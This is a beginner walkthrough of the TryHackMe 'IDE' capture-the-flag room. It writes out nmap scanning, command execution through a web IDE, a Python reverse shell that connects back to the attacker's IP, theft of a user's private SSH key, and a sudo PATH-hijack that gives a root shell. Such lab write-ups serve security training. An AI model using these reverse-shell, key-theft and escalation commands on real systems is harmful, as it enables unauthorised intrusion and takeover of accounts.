🧠 TryHackMe: IDE – Walkthrough

> A beginner-friendly walkthrough for the IDE room on TryHackMe

---

🛰️ Step 1: Initial Nmap Scan

```
nmap -sC -sV -oN nmap.txt 10.10.61.136
```

Ports Found:

- **22** – SSH
- **80** – HTTP

🌐 Step 2: Web Enumeration

Open `http://10.10.61.136` in the browser.

You'll see a **code editor interface** (like an online IDE) with a file explorer on the left and a text area to write and run code.

👉 Try typing a simple Python command like:

```
whoami
```

And **click "Run"**. It shows system-level output.

✅ This confirms we can run system commands — **RCE (Remote Code Execution)** is possible!

⚙️ Step 3: Gaining a Reverse Shell

Since we can run commands, let's get a reverse shell.

On your attacker machine:

Start a Netcat listener:

```
nc -lvnp 1234
```

On the target (in the code editor):

Paste this Python reverse shell and run it:

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.8.X.X",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh"])
```

🔁 Replace `10.8.X.X` with **your tun0 IP**.

✅ You'll get a shell as user `coder`.

🕵️ Step 4: Enumerate the System

Look around:

```
ls /home
```

Found users: `coder`, `developer`

Check for readable files or hints:

```
cat /home/developer/user.txt
```

You may need to upgrade your shell:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

🔑 Step 5: Escalate to Developer

Check for stored SSH keys:

```
ls /home/developer/.ssh
```

If `id_rsa` (private key) exists and is readable, copy it:

```
cat /home/developer/.ssh/id_rsa
```

Paste it into a file on your own machine:

```
nano id_rsa
chmod 600 id_rsa
```

SSH into the machine as developer:

```
ssh -i id_rsa developer@10.10.61.136
```

✅ Now you're logged in as `developer`.

🚀 Step 6: Privilege Escalation to Root

Run:

```
sudo -l
```

If you see something like:

```
(ALL) NOPASSWD: /opt/scripts/access_backup.sh
```

Check the script:

```
cat /opt/scripts/access_backup.sh
```

If it uses a command like `tar` without the full path, you can exploit **PATH hijacking**.

🔥 Exploiting PATH Hijack

Create a malicious `tar` script in `/tmp`:

```
echo "/bin/bash" > /tmp/tar
chmod +x /tmp/tar
```

Change your `PATH` so the system uses your fake `tar`:

```
export PATH=/tmp:$PATH
```

Now run the vulnerable script:

```
sudo /opt/scripts/access_backup.sh
```

✅ This will drop you into a **root shell**!

🏁 Final Step: Capture the Flags

- **User flag**:

```
cat /home/developer/user.txt
```

- **Root flag**:

```
cat /root/root.txt
```